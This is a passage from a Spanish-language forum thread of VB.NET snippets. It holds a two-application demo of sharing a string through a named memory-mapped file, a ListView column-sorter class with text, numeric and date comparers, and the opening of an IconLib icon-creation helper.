  168.        Dim WriteData As Byte() = System.Text.Encoding.ASCII.GetBytes(Me.strMessage)
  169.  
  170.        ' Create the memory-mapped file.
  171.        Me.MakeMemoryMappedFile(Name:=Me.MemoryName, BufferLength:=Me.MemoryBufferSize, Data:=WriteData)
  172.  
  173.    End Sub
  174.  
  175.    ''' <summary>
  176.    ''' Handles the 'Click' event of the 'btReadFile' control.
  177.    ''' </summary>
  178.    Private Sub btReadFile_Click() Handles btReadFile.Click
  179.  
  180.  
  181.        Dim ReadBytes As Byte()
  182.  
  183.        Try ' Read the byte-sequence from memory.
  184.            ReadBytes = ReadMemoryMappedFile(Name:=Me.MemoryName, BufferLength:=Me.MemoryBufferSize)
  185.  
  186.        Catch ex As IO.FileNotFoundException
  187.            Me.tbReceptor.Text = "Memory-mapped file does not exist."
  188.            Exit Sub
  189.  
  190.        End Try
  191.  
  192.        ' Convert the bytes to String.
  193.        Dim Message As String = System.Text.Encoding.ASCII.GetString(ReadBytes.ToArray)
  194.  
  195.        ' Remove null chars (leading zero-bytes)
  196.        Message = Message.Trim({ControlChars.NullChar})
  197.  
  198.        ' Print the message.
  199.        tbReceptor.Text = Message
  200.  
  201.    End Sub
  202.  
  203. End Class
  204.  
  205. #End Region

Esta sería la aplicación número 2, creen un nuevo proyecto, copien y compilen este Form:

Código
  1. ' Example of sharing memory across different running applications.
  2. ' By Elektro
  3. '
  4. ' *************************
  5. ' This is the Application 2
  6. ' *************************
  7.  
  8. #Region " Imports "
  9.  
  10. Imports System.IO.MemoryMappedFiles
  11.  
  12. #End Region
  13.  
  14. #Region " Application 2 "
  15.  
  16. ''' <summary>
  17. ''' Class MemoryMappedFile_Form2.
  18. ''' This should be the Class used to compile our first application.
  19. ''' </summary>
  20. Public Class MemoryMappedFile_Form2
  21.  
  22.    ' The controls to create on execution-time.
  23.    Dim WithEvents btMakeFile As New Button ' Writes the memory.
  24.    Dim WithEvents btReadFile As New Button ' Reads the memory.
  25.    Dim tbMessage As New TextBox ' Determines the string to map into memory.
  26.    Dim tbReceptor As New TextBox ' Print the memory read's result.
  27.    Dim lbInfoButtons As New Label ' Informs the user with a usage hint for the buttons.
  28.    Dim lbInfotbMessage As New Label ' Informs the user with a usage hint for 'tbMessage'.
  29.  
  30.    ''' <summary>
  31.    ''' Indicates the name of our memory-file.
  32.    ''' </summary>
  33.    Private ReadOnly MemoryName As String = "My Memory-File Name"
  34.  
  35.    ''' <summary>
  36.    ''' Indicates the memory buffersize to store the <see cref="MemoryName"/>, in bytes.
  37.    ''' </summary>
  38.    Private ReadOnly MemoryBufferSize As Integer = 1024I
  39.  
  40.    ''' <summary>
  41.    ''' Indicates the string to map in memory.
  42.    ''' </summary>
  43.    Private ReadOnly Property strMessage As String
  44.        Get
  45.            Return tbMessage.Text
  46.        End Get
  47.    End Property
  48.  
  49.    ''' <summary>
  50.    ''' Initializes a new instance of the <see cref="MemoryMappedFile_Form2"/> class.
  51.    ''' </summary>
  52.    Public Sub New()
  53.  
  54.        ' This call is required by the designer.
  55.        InitializeComponent()
  56.  
  57.        ' Set the properties of the controls.
  58.        With lbInfotbMessage
  59.            .Location = New Point(20, 10)
  60.            .Text = "Type in this TextBox the message to write in memory:"
  61.            .AutoSize = True
  62.            ' .Size = tbReceptor.Size
  63.        End With
  64.        With tbMessage
  65.            .Text = "Hello world from application two!"
  66.            .Location = New Point(20, 30)
  67.            .Size = New Size(310, Me.tbMessage.Height)
  68.        End With
  69.        With btMakeFile
  70.            .Text = "Write Memory"
  71.            .Size = New Size(130, 45)
  72.            .Location = New Point(20, 50)
  73.        End With
  74.        With btReadFile
  75.            .Text = "Read Memory"
  76.            .Size = New Size(130, 45)
  77.            .Location = New Point(200, 50)
  78.        End With
  79.        With tbReceptor
  80.            .Location = New Point(20, 130)
  81.            .Size = New Size(310, 100)
  82.            .Multiline = True
  83.        End With
  84.        With lbInfoButtons
  85.            .Location = New Point(tbReceptor.Location.X, tbReceptor.Location.Y - 30)
  86.            .Text = "Press '" & btMakeFile.Text & "' button to create the memory file, that memory can be read from both applications."
  87.            .AutoSize = False
  88.            .Size = tbReceptor.Size
  89.        End With
  90.  
  91.        ' Set the Form properties.
  92.        With Me
  93.            .Text = "Application 2"
  94.            .Size = New Size(365, 300)
  95.            .FormBorderStyle = Windows.Forms.FormBorderStyle.FixedSingle
  96.            .MaximizeBox = False
  97.            .StartPosition = FormStartPosition.CenterScreen
  98.        End With
  99.  
  100.        ' Add the controls on the UI.
  101.        Me.Controls.AddRange({lbInfotbMessage, tbMessage, btMakeFile, btReadFile, tbReceptor, lbInfoButtons})
  102.  
  103.    End Sub
  104.  
  105.    ''' <summary>
  106.    ''' Writes a byte sequence into a <see cref="MemoryMappedFile"/>.
  107.    ''' </summary>
  108.    ''' <param name="Name">Indicates the name to assign the <see cref="MemoryMappedFile"/>.</param>
  109.    ''' <param name="BufferLength">Indicates the <see cref="MemoryMappedFile"/> buffer-length to write in.</param>
  110.    ''' <param name="Data">Indicates the byte-data to write inside the <see cref="MemoryMappedFile"/>.</param>
  111.    Private Sub MakeMemoryMappedFile(ByVal Name As String, ByVal BufferLength As Integer, ByVal Data As Byte())
  112.  
  113.        ' Create or open the memory-mapped file.
  114.        Dim MessageFile As MemoryMappedFile =
  115.            MemoryMappedFile.CreateOrOpen(Name, Me.MemoryBufferSize, MemoryMappedFileAccess.ReadWrite)
  116.  
  117.        ' Write the byte-sequence into memory.
  118.        Using Writer As MemoryMappedViewAccessor =
  119.            MessageFile.CreateViewAccessor(0L, Me.MemoryBufferSize, MemoryMappedFileAccess.ReadWrite)
  120.  
  121.            ' Firstly fill with null all the buffer.
  122.            Writer.WriteArray(Of Byte)(0L, System.Text.Encoding.ASCII.GetBytes(New String(Nothing, Me.MemoryBufferSize)), 0I, Me.MemoryBufferSize)
  123.  
  124.            ' Secondly write the byte-data.
  125.            Writer.WriteArray(Of Byte)(0L, Data, 0I, Data.Length)
  126.  
  127.        End Using ' Writer
  128.  
  129.    End Sub
  130.  
  131.    ''' <summary>
  132.    ''' Reads a byte-sequence from a <see cref="MemoryMappedFile"/>.
  133.    ''' </summary>
  134.    ''' <param name="Name">Indicates an existing <see cref="MemoryMappedFile"/> assigned name.</param>
  135.    ''' <param name="BufferLength">The buffer-length to read in.</param>
  136.    ''' <returns>System.Byte().</returns>
  137.    Private Function ReadMemoryMappedFile(ByVal Name As String, ByVal BufferLength As Integer) As Byte()
  138.  
  139.        Try
  140.            Using MemoryFile As MemoryMappedFile =
  141.                MemoryMappedFile.OpenExisting(Name, MemoryMappedFileRights.Read)
  142.  
  143.                Using Reader As MemoryMappedViewAccessor =
  144.                    MemoryFile.CreateViewAccessor(0L, BufferLength, MemoryMappedFileAccess.Read)
  145.  
  146.                    Dim ReadBytes As Byte() = New Byte(BufferLength - 1I) {}
  147.                    Reader.ReadArray(Of Byte)(0L, ReadBytes, 0I, ReadBytes.Length)
  148.                    Return ReadBytes
  149.  
  150.                End Using ' Reader
  151.  
  152.            End Using ' MemoryFile
  153.  
  154.        Catch ex As IO.FileNotFoundException
  155.            Throw
  156.            Return Nothing
  157.  
  158.        End Try
  159.  
  160.    End Function
  161.  
  162.    ''' <summary>
  163.    ''' Handles the 'Click' event of the 'btMakeFile' control.
  164.    ''' </summary>
  165.    Private Sub btMakeFile_Click() Handles btMakeFile.Click
  166.  
  167.        ' Get the byte-data to create the memory-mapped file.
  168.        Dim WriteData As Byte() = System.Text.Encoding.ASCII.GetBytes(Me.strMessage)
  169.  
  170.        ' Create the memory-mapped file.
  171.        Me.MakeMemoryMappedFile(Name:=Me.MemoryName, BufferLength:=Me.MemoryBufferSize, Data:=WriteData)
  172.  
  173.    End Sub
  174.  
  175.    ''' <summary>
  176.    ''' Handles the 'Click' event of the 'btReadFile' control.
  177.    ''' </summary>
  178.    Private Sub btReadFile_Click() Handles btReadFile.Click
  179.  
  180.  
  181.        Dim ReadBytes As Byte()
  182.  
  183.        Try ' Read the byte-sequence from memory.
  184.            ReadBytes = ReadMemoryMappedFile(Name:=Me.MemoryName, BufferLength:=Me.MemoryBufferSize)
  185.  
  186.        Catch ex As IO.FileNotFoundException
  187.            Me.tbReceptor.Text = "Memory-mapped file does not exist."
  188.            Exit Sub
  189.  
  190.        End Try
  191.  
  192.        ' Convert the bytes to String.
  193.        Dim Message As String = System.Text.Encoding.ASCII.GetString(ReadBytes.ToArray)
  194.  
  195.        ' Remove null chars (leading zero-bytes)
  196.        Message = Message.Trim({ControlChars.NullChar})
  197.  
  198.        ' Print the message.
  199.        tbReceptor.Text = Message
  200.  
  201.    End Sub
  202.  
  203. End Class
  204.  
  205. #End Region

Ahora ya solo tienen que ejecutar ambas aplicaciones para testear.

Saludos!


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 21 Agosto 2014, 13:03 pm
Una class para ordenar los items de un listview según la columna:

(http://i.imgur.com/vJqYdj9.png)

Código
  1. ' ***********************************************************************
  2. ' Author           : Elektro
  3. ' Last Modified On : 08-20-2014
  4. ' ***********************************************************************
  5. ' <copyright file="ListView Column-Sorter.vb" company="Elektro Studios">
  6. '     Copyright (c) Elektro Studios. All rights reserved.
  7. ' </copyright>
  8. ' ***********************************************************************
  9.  
  10. #Region " Usage Examples "
  11.  
  12. 'Public Class ListViewColumnSorter_TestForm : Inherits form
  13. '
  14. '    ''' <summary>
  15. '    ''' The listview to sort.
  16. '    ''' </summary>
  17. '    Private WithEvents LV As New ListView
  18. '
  19. '    ''' <summary>
  20. '    ''' The 'ListViewColumnSorter' instance.
  21. '    ''' </summary>
  22. '    Private Sorter As New ListViewColumnSorter
  23. '
  24. '    ''' <summary>
  25. '    ''' Initializes a new instance of the <see cref="ListViewColumnSorter_TestForm"/> class.
  26. '    ''' </summary>
  27. '    Public Sub New()
  28. '
  29. '        ' This call is required by the designer.
  30. '        InitializeComponent()
  31. '
  32. '        With LV ' Set the Listview properties.
  33. '
  34. '            ' Set the sorter, our 'ListViewColumnSorter'.
  35. '            .ListViewItemSorter = Sorter
  36. '
  37. '            ' The sorting default direction.
  38. '            .Sorting = SortOrder.Ascending
  39. '
  40. '            ' Set the default sort-modifier.
  41. '            Sorter.SortModifier = ListViewColumnSorter.SortModifiers.SortByText
  42. '
  43. '            ' Add some columns.
  44. '            .Columns.Add("Text").Tag = ListViewColumnSorter.SortModifiers.SortByText
  45. '            .Columns.Add("Numbers").Tag = ListViewColumnSorter.SortModifiers.SortByNumber
  46. '            .Columns.Add("Dates").Tag = ListViewColumnSorter.SortModifiers.SortByDate
  47. '
  48. '            ' Adjust the column sizes.
  49. '            For Each col As ColumnHeader In LV.Columns
  50. '                col.Width = 100I
  51. '            Next
  52. '
  53. '            ' Add some items.
  54. '            .Items.Add("hello").SubItems.AddRange({"1", "11/11/2000"})
  55. '            .Items.Add("yeehaa!").SubItems.AddRange({"2", "11-11-2000"})
  56. '            .Items.Add("El3ktr0").SubItems.AddRange({"10", "9/9/1999"})
  57. '            .Items.Add("wow").SubItems.AddRange({"100", "21/08/2014"})
  58. '
  59. '            ' Visual-Style things.
  60. '            .Dock = DockStyle.Fill
  61. '            .View = View.Details
  62. '            .FullRowSelect = True
  63. '
  64. '        End With
  65. '
  66. '        With Me ' Set the Form properties.
  67. '
  68. '            .Size = New Size(400, 200)
  69. '            .FormBorderStyle = Windows.Forms.FormBorderStyle.FixedSingle
  70. '            .MaximizeBox = False
  71. '            .StartPosition = FormStartPosition.CenterScreen
  72. '            .Text = "ListViewColumnSorter TestForm"
  73. '
  74. '        End With
  75. '
  76. '        ' Add the Listview to UI.
  77. '        Me.Controls.Add(LV)
  78. '
  79. '    End Sub
  80. '
  81. '    ''' <summary>
  82. '    ''' Handles the 'ColumnClick' event of the 'ListView1' control.
  83. '    ''' </summary>
  84. '    Private Sub ListView1_ColumnClick(ByVal sender As Object, ByVal e As ColumnClickEventArgs) _
  85. '    Handles LV.ColumnClick
  86. '
  87. '        ' Dinamycaly sets the sort-modifier to sort the column by text, number, or date.
  88. '        Sorter.SortModifier = sender.columns(e.Column).tag
  89. '
  90. '        ' Determine whether clicked column is already the column that is being sorted.
  91. '        If e.Column = Sorter.Column Then
  92. '
  93. '            ' Reverse the current sort direction for this column.
  94. '            If Sorter.Order = SortOrder.Ascending Then
  95. '                Sorter.Order = SortOrder.Descending
  96. '
  97. '            Else
  98. '                Sorter.Order = SortOrder.Ascending
  99. '
  100. '            End If ' Sorter.Order
  101. '
  102. '        Else
  103. '
  104. '            ' Set the column number that is to be sorted, default to ascending.
  105. '            Sorter.Column = e.Column
  106. '            Sorter.Order = SortOrder.Ascending
  107. '
  108. '        End If ' e.Column
  109. '
  110. '        ' Perform the sort with these new sort options.
  111. '        sender.Sort()
  112. '
  113. '    End Sub
  114. '
  115. 'End Class
  116.  
  117. #End Region
  118.  
  119. #Region " Imports "
  120.  
  121. Imports System.Text.RegularExpressions
  122. Imports System.ComponentModel
  123.  
  124. #End Region
  125.  
  126. #Region " ListView Column-Sorter "
  127.  
  128. ''' <summary>
  129. ''' Performs a sorting comparison.
  130. ''' </summary>
  131. Public Class ListViewColumnSorter : Implements IComparer
  132.  
  133. #Region " Objects "
  134.  
  135.    '''' <summary>
  136.    '''' Indicates the comparer instance.
  137.    '''' </summary>
  138.    Private Comparer As Object = New TextComparer
  139.  
  140. #End Region
  141.  
  142. #Region " Properties "
  143.  
  144.    ''' <summary>
  145.    ''' Gets or sets the number of the column to which to apply the sorting operation (Defaults to '0').
  146.    ''' </summary>
  147.    Public Property Column As Integer
  148.        Get
  149.            Return Me._Column
  150.        End Get
  151.        Set(ByVal value As Integer)
  152.            Me._Column = value
  153.        End Set
  154.    End Property
  155.    Private _Column As Integer = 0I
  156.  
  157.    ''' <summary>
  158.    ''' Gets or sets the order of sorting to apply.
  159.    ''' </summary>
  160.    Public Property Order As SortOrder
  161.        Get
  162.            Return Me._Order
  163.        End Get
  164.        Set(ByVal value As SortOrder)
  165.            Me._Order = value
  166.        End Set
  167.    End Property
  168.    Private _Order As SortOrder = SortOrder.None
  169.  
  170.    ''' <summary>
  171.    ''' Gets or sets the sort modifier.
  172.    ''' </summary>
  173.    ''' <value>The sort modifier.</value>
  174.    Public Property SortModifier As SortModifiers
  175.        Get
  176.            Return Me._SortModifier
  177.        End Get
  178.        Set(ByVal value As SortModifiers)
  179.            Me._SortModifier = value
  180.        End Set
  181.    End Property
  182.    Private _SortModifier As SortModifiers = SortModifiers.SortByText
  183.  
  184. #End Region
  185.  
  186. #Region " Enumerations "
  187.  
  188.    ''' <summary>
  189.    ''' Specifies a comparison result.
  190.    ''' </summary>
  191.    Public Enum ComparerResult As Integer
  192.  
  193.        ''' <summary>
  194.        ''' 'X' is equals to 'Y'.
  195.        ''' </summary>
  196.        Equals = 0I
  197.  
  198.        ''' <summary>
  199.        ''' 'X' is less than 'Y'.
  200.        ''' </summary>
  201.        Less = -1I
  202.  
  203.        ''' <summary>
  204.        ''' 'X' is greater than 'Y'.
  205.        ''' </summary>
  206.        Greater = 1I
  207.  
  208.    End Enum
  209.  
  210.    ''' <summary>
  211.    ''' Indicates a Sorting Modifier.
  212.    ''' </summary>
  213.    Public Enum SortModifiers As Integer
  214.  
  215.        ''' <summary>
  216.        ''' Treats the values &#8203;&#8203;as text.
  217.        ''' </summary>
  218.        SortByText = 0I
  219.  
  220.        ''' <summary>
  221.        ''' Treats the values &#8203;&#8203;as numbers.
  222.        ''' </summary>
  223.        SortByNumber = 1I
  224.  
  225.        ''' <summary>
  226.        ''' Treats valuesthe values &#8203;&#8203;as dates.
  227.        ''' </summary>
  228.        SortByDate = 2I
  229.  
  230.    End Enum
  231.  
  232. #End Region
  233.  
  234. #Region " Private Methods "
  235.  
  236.    ''' <summary>
  237.    ''' Compares two objects and returns a value indicating whether one is less than, equal to, or greater than the other.
  238.    ''' </summary>
  239.    ''' <param name="x">The first object to compare.</param>
  240.    ''' <param name="y">The second object to compare.</param>
  241.    ''' <returns>
  242.    ''' A signed integer that indicates the relative values of <paramref name="x"/> and <paramref name="y"/>,
  243.    ''' 0: <paramref name="x"/> equals <paramref name="y"/>.
  244.    ''' Less than 0: <paramref name="x"/> is less than <paramref name="y"/>.
  245.    ''' Greater than 0: <paramref name="x"/> is greater than <paramref name="y"/>.
  246.    ''' </returns>
  247.    Private Function Compare(ByVal x As Object, ByVal y As Object) As Integer Implements IComparer.Compare
  248.  
  249.        Dim CompareResult As ComparerResult = ComparerResult.Equals
  250.        Dim LVItemX, LVItemY As ListViewItem
  251.  
  252.        ' Cast the objects to be compared
  253.        LVItemX = DirectCast(x, ListViewItem)
  254.        LVItemY = DirectCast(y, ListViewItem)
  255.  
  256.        Dim strX As String = If(Not LVItemX.SubItems.Count <= Me._Column,
  257.                               LVItemX.SubItems(Me._Column).Text,
  258.                               Nothing)
  259.  
  260.        Dim strY As String = If(Not LVItemY.SubItems.Count <= Me._Column,
  261.                                LVItemY.SubItems(Me._Column).Text,
  262.                                Nothing)
  263.  
  264.        Dim listViewMain As ListView = LVItemX.ListView
  265.  
  266.        ' Calculate correct return value based on object comparison
  267.        If listViewMain.Sorting <> SortOrder.Ascending AndAlso listViewMain.Sorting <> SortOrder.Descending Then
  268.  
  269.            ' Return '0' to indicate they are equal
  270.            Return ComparerResult.Equals
  271.  
  272.        End If
  273.  
  274.        If Me._SortModifier.Equals(SortModifiers.SortByText) Then
  275.  
  276.            ' Compare the two items
  277.            If LVItemX.SubItems.Count <= Me._Column AndAlso LVItemY.SubItems.Count <= Me._Column Then
  278.                CompareResult = Me.Comparer.Compare(Nothing, Nothing)
  279.  
  280.            ElseIf LVItemX.SubItems.Count <= Me._Column AndAlso LVItemY.SubItems.Count > Me._Column Then
  281.                CompareResult = Me.Comparer.Compare(Nothing, strY)
  282.  
  283.            ElseIf LVItemX.SubItems.Count > Me._Column AndAlso LVItemY.SubItems.Count <= Me._Column Then
  284.                CompareResult = Me.Comparer.Compare(strX, Nothing)
  285.  
  286.            Else
  287.                CompareResult = Me.Comparer.Compare(strX, strY)
  288.  
  289.            End If
  290.  
  291.        Else ' Me._SortModifier IsNot 'SortByText'
  292.  
  293.            Select Case Me._SortModifier
  294.  
  295.                Case SortModifiers.SortByNumber
  296.                    If Me.Comparer.GetType <> GetType(NumericComparer) Then
  297.                        Me.Comparer = New NumericComparer
  298.                    End If
  299.  
  300.                Case SortModifiers.SortByDate
  301.                    If Me.Comparer.GetType <> GetType(DateComparer) Then
  302.                        Me.Comparer = New DateComparer
  303.                    End If
  304.  
  305.                Case Else
  306.                    If Me.Comparer.GetType <> GetType(TextComparer) Then
  307.                        Me.Comparer = New TextComparer
  308.                    End If
  309.  
  310.            End Select
  311.  
  312.            CompareResult = Comparer.Compare(strX, strY)
  313.  
  314.        End If ' Me._SortModifier.Equals(...)
  315.  
  316.        ' Calculate correct return value based on object comparison
  317.        If Me._Order = SortOrder.Ascending Then
  318.            ' Ascending sort is selected, return normal result of compare operation
  319.            Return CompareResult
  320.  
  321.        ElseIf Me._Order = SortOrder.Descending Then
  322.            ' Descending sort is selected, return negative result of compare operation
  323.            Return (-CompareResult)
  324.  
  325.        Else
  326.            ' Return '0' to indicate they are equal
  327.            Return 0I
  328.  
  329.        End If ' Me._Order = ...
  330.  
  331.    End Function
  332.  
  333. #End Region
  334.  
  335. #Region " Hidden Methods "
  336.  
  337.    ''' <summary>
  338.    ''' Serves as a hash function for a particular type.
  339.    ''' </summary>
  340.    <EditorBrowsable(EditorBrowsableState.Never)>
  341.    Public Shadows Sub GetHashCode()
  342.    End Sub
  343.  
  344.    ''' <summary>
  345.    ''' Determines whether the specified System.Object instances are considered equal.
  346.    ''' </summary>
  347.    <EditorBrowsable(EditorBrowsableState.Never)>
  348.    Public Shadows Sub Equals()
  349.    End Sub
  350.  
  351.    ''' <summary>
  352.    ''' Gets the System.Type of the current instance.
  353.    ''' </summary>
  354.    ''' <returns>The exact runtime type of the current instance.</returns>
  355.    <EditorBrowsable(EditorBrowsableState.Never)>
  356.    Public Shadows Function [GetType]()
  357.        Return Me.GetType
  358.    End Function
  359.  
  360.    ''' <summary>
  361.    ''' Returns a String that represents the current object.
  362.    ''' </summary>
  363.    <EditorBrowsable(EditorBrowsableState.Never)>
  364.    Public Shadows Sub ToString()
  365.    End Sub
  366.  
  367. #End Region
  368.  
  369. End Class
  370.  
  371. #End Region
  372.  
  373. #Region " Comparers "
  374.  
  375. #Region " Text "
  376.  
  377. ''' <summary>
  378. ''' Performs a text comparison.
  379. ''' </summary>
  380. Public Class TextComparer : Inherits CaseInsensitiveComparer
  381.  
  382. #Region " Enumerations "
  383.  
  384.    ''' <summary>
  385.    ''' Specifies a comparison result.
  386.    ''' </summary>
  387.    Public Enum ComparerResult As Integer
  388.  
  389.        ''' <summary>
  390.        ''' 'X' is equals to 'Y'.
  391.        ''' </summary>
  392.        Equals = 0I
  393.  
  394.        ''' <summary>
  395.        ''' 'X' is less than 'Y'.
  396.        ''' </summary>
  397.        Less = -1I
  398.  
  399.        ''' <summary>
  400.        ''' 'X' is greater than 'Y'.
  401.        ''' </summary>
  402.        Greater = 1I
  403.  
  404.    End Enum
  405.  
  406. #End Region
  407.  
  408. #Region " Methods "
  409.  
  410.    ''' <summary>
  411.    ''' Compares two objects and returns a value indicating whether one is less than, equal to, or greater than the other.
  412.    ''' </summary>
  413.    ''' <param name="x">The first object to compare.</param>
  414.    ''' <param name="y">The second object to compare.</param>
  415.    ''' <returns>
  416.    ''' A signed integer that indicates the relative values of <paramref name="x"/> and <paramref name="y"/>,
  417.    ''' 0: <paramref name="x"/> equals <paramref name="y"/>.
  418.    ''' Less than 0: <paramref name="x"/> is less than <paramref name="y"/>.
  419.    ''' Greater than 0: <paramref name="x"/> is greater than <paramref name="y"/>.
  420.    ''' </returns>
  421.    Friend Shadows Function Compare(ByVal x As Object, ByVal y As Object) As Integer
  422.  
  423.        ' Null parsing.
  424.        If x Is Nothing AndAlso y Is Nothing Then
  425.            Return ComparerResult.Equals ' X is equals to Y.
  426.  
  427.        ElseIf x Is Nothing AndAlso y IsNot Nothing Then
  428.            Return ComparerResult.Less ' X is less than Y.
  429.  
  430.        ElseIf x IsNot Nothing AndAlso y Is Nothing Then
  431.            Return ComparerResult.Greater ' X is greater than Y.
  432.  
  433.        End If
  434.  
  435.        ' String parsing:
  436.        If (TypeOf x Is String) AndAlso (TypeOf y Is String) Then ' True and True
  437.            Return [Enum].Parse(GetType(ComparerResult),
  438.                                MyBase.Compare(x, y))
  439.  
  440.        ElseIf (TypeOf x Is String) AndAlso Not (TypeOf y Is String) Then ' True and False
  441.            Return ComparerResult.Greater ' X is greater than Y.
  442.  
  443.        ElseIf Not (TypeOf x Is String) AndAlso (TypeOf y Is String) Then ' False and True
  444.            Return ComparerResult.Less ' X is less than Y.
  445.  
  446.        Else ' False and False
  447.            Return ComparerResult.Equals
  448.  
  449.        End If
  450.  
  451.    End Function
  452.  
  453. #End Region
  454.  
  455. End Class
  456.  
  457. #End Region
  458.  
  459. #Region " Numeric "
  460.  
  461. ''' <summary>
  462. ''' Performs a numeric comparison.
  463. ''' </summary>
  464. Public Class NumericComparer : Implements IComparer
  465.  
  466. #Region " Enumerations "
  467.  
  468.    ''' <summary>
  469.    ''' Specifies a comparison result.
  470.    ''' </summary>
  471.    Public Enum ComparerResult As Integer
  472.  
  473.        ''' <summary>
  474.        ''' 'X' is equals to 'Y'.
  475.        ''' </summary>
  476.        Equals = 0I
  477.  
  478.        ''' <summary>
  479.        ''' 'X' is less than 'Y'.
  480.        ''' </summary>
  481.        Less = -1I
  482.  
  483.        ''' <summary>
  484.        ''' 'X' is greater than 'Y'.
  485.        ''' </summary>
  486.        Greater = 1I
  487.  
  488.    End Enum
  489.  
  490. #End Region
  491.  
  492. #Region " Methods "
  493.  
  494.    ''' <summary>
  495.    ''' Compares two objects and returns a value indicating whether one is less than, equal to, or greater than the other.
  496.    ''' </summary>
  497.    ''' <param name="x">The first object to compare.</param>
  498.    ''' <param name="y">The second object to compare.</param>
  499.    ''' <returns>
  500.    ''' A signed integer that indicates the relative values of <paramref name="x"/> and <paramref name="y"/>,
  501.    ''' 0: <paramref name="x"/> equals <paramref name="y"/>.
  502.    ''' Less than 0: <paramref name="x" /> is less than <paramref name="y"/>.
  503.    ''' Greater than 0: <paramref name="x"/> is greater than <paramref name="y"/>.
  504.    ''' </returns>
  505.    Public Function Compare(ByVal x As Object, ByVal y As Object) As Integer _
  506.    Implements IComparer.Compare
  507.  
  508.        ' Null parsing.
  509.        If x Is Nothing AndAlso y Is Nothing Then
  510.            Return ComparerResult.Equals ' X is equals to Y.
  511.  
  512.        ElseIf x Is Nothing AndAlso y IsNot Nothing Then
  513.            Return ComparerResult.Less ' X is less than Y.
  514.  
  515.        ElseIf x IsNot Nothing AndAlso y Is Nothing Then
  516.            Return ComparerResult.Greater ' X is greater than Y.
  517.  
  518.        End If
  519.  
  520.        ' The single variables to parse the text.
  521.        Dim SingleX, SingleY As Single
  522.  
  523.        ' Single parsing:
  524.        If Single.TryParse(x, SingleX) AndAlso Single.TryParse(y, SingleY) Then ' True and True
  525.            Return [Enum].Parse(GetType(ComparerResult),
  526.                                SingleX.CompareTo(SingleY))
  527.  
  528.        ElseIf Single.TryParse(x, SingleX) AndAlso Not Single.TryParse(y, SingleY) Then ' True and False
  529.            Return ComparerResult.Greater ' X is greater than Y.
  530.  
  531.        ElseIf Not Single.TryParse(x, SingleX) AndAlso Single.TryParse(y, SingleY) Then ' False and True
  532.            Return ComparerResult.Less ' X is less than Y.
  533.  
  534.        Else ' False and False
  535.            Return [Enum].Parse(GetType(ComparerResult),
  536.                                x.ToString.CompareTo(y.ToString))
  537.  
  538.        End If
  539.  
  540.    End Function
  541.  
  542. #End Region
  543.  
  544. End Class
  545.  
  546. #End Region
  547.  
  548. #Region " Date "
  549.  
  550. ''' <summary>
  551. ''' Performs a date comparison.
  552. ''' </summary>
  553. Public Class DateComparer : Implements IComparer
  554.  
  555. #Region " Enumerations "
  556.  
  557.    ''' <summary>
  558.    ''' Specifies a comparison result.
  559.    ''' </summary>
  560.    Public Enum ComparerResult As Integer
  561.  
  562.        ''' <summary>
  563.        ''' 'X' is equals to 'Y'.
  564.        ''' </summary>
  565.        Equals = 0I
  566.  
  567.        ''' <summary>
  568.        ''' 'X' is less than 'Y'.
  569.        ''' </summary>
  570.        Less = -1I
  571.  
  572.        ''' <summary>
  573.        ''' 'X' is greater than 'Y'.
  574.        ''' </summary>
  575.        Greater = 1I
  576.  
  577.    End Enum
  578.  
  579. #End Region
  580.  
  581. #Region " Methods "
  582.  
  583.    ''' <summary>
  584.    ''' Compares two objects and returns a value indicating whether one is less than, equal to, or greater than the other.
  585.    ''' </summary>
  586.    ''' <param name="x">The first object to compare.</param>
  587.    ''' <param name="y">The second object to compare.</param>
  588.    ''' <returns>
  589.    ''' A signed integer that indicates the relative values of <paramref name="x"/> and <paramref name="y"/>,
  590.    ''' 0: <paramref name="x"/> equals <paramref name="y"/>.
  591.    ''' Less than 0: <paramref name="x"/> is less than <paramref name="y"/>.
  592.    ''' Greater than 0: <paramref name="x"/> is greater than <paramref name="y"/>.
  593.    ''' </returns>
  594.    Public Function Compare(ByVal x As Object, ByVal y As Object) As Integer Implements IComparer.Compare
  595.  
  596.        ' Null parsing.
  597.        If x Is Nothing AndAlso y Is Nothing Then
  598.            Return ComparerResult.Equals ' X is equals to Y.
  599.  
  600.        ElseIf x Is Nothing AndAlso y IsNot Nothing Then
  601.            Return ComparerResult.Less ' X is less than Y.
  602.  
  603.        ElseIf x IsNot Nothing AndAlso y Is Nothing Then
  604.            Return ComparerResult.Greater ' X is greater than Y.
  605.  
  606.        End If
  607.  
  608.        ' The Date variables to parse the text.
  609.        Dim DateX, DateY As Date
  610.  
  611.        ' Date parsing:
  612.        If Date.TryParse(x, DateX) AndAlso Date.TryParse(y, DateY) Then ' True and True
  613.            Return [Enum].Parse(GetType(ComparerResult),
  614.                                DateX.CompareTo(DateY))
  615.  
  616.        ElseIf Date.TryParse(x, DateX) AndAlso Not Date.TryParse(y, DateY) Then ' True and False
  617.            Return ComparerResult.Greater ' X is greater than Y.
  618.  
  619.        ElseIf Not Date.TryParse(x, DateX) AndAlso Date.TryParse(y, DateY) Then ' False and True
  620.            Return ComparerResult.Less ' X is less than Y.
  621.  
  622.        Else ' False and False
  623.            Return [Enum].Parse(GetType(ComparerResult),
  624.                                x.ToString.CompareTo(y.ToString))
  625.  
  626.        End If
  627.  
  628.    End Function
  629.  
  630. #End Region
  631.  
  632. End Class
  633.  
  634. #End Region
  635.  
  636. #End Region


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 21 Agosto 2014, 13:58 pm
Unos métodos de uso genérico para utilizar la librería IconLib ( http://www.codeproject.com/Articles/16178/IconLib-Icons-Unfolded-MultiIcon-and-Windows-Vista ) para crear iconos o leer las capas de un icono.

PD: Hay que modificar un poco el source (escrito en C#) para permitir la creación de iconos de 512 x 512 (es facil, busquen un if con "256" y añadan el valor "512" a la enumeración de formatos de iconos), pero por otro lado no hay ningún problema para leer este tamaño de icono sin realizar modificaciones.

(http://www.codeproject.com/KB/cs/IconLib/image013.jpg)

Código
  1.    ' Create Icon
  2.    ' By Elektro
  3.    '
  4.    ' Usage Examples:
  5.    '
  6.    ' Dim IconFile As IconLib.SingleIcon = CreateIcon("C:\Image.ico", IconLib.IconOutputFormat.All)
  7.    ' For Each IconLayer As IconLib.IconImage In IconFile
  8.    '     PictureBox1.BackgroundImage = IconLayer.Icon.ToBitmap
  9.    '     Debug.WriteLine(IconLayer.Icon.Size.ToString)
  10.    '     Application.DoEvents()
  11.    '     Threading.Thread.Sleep(750)
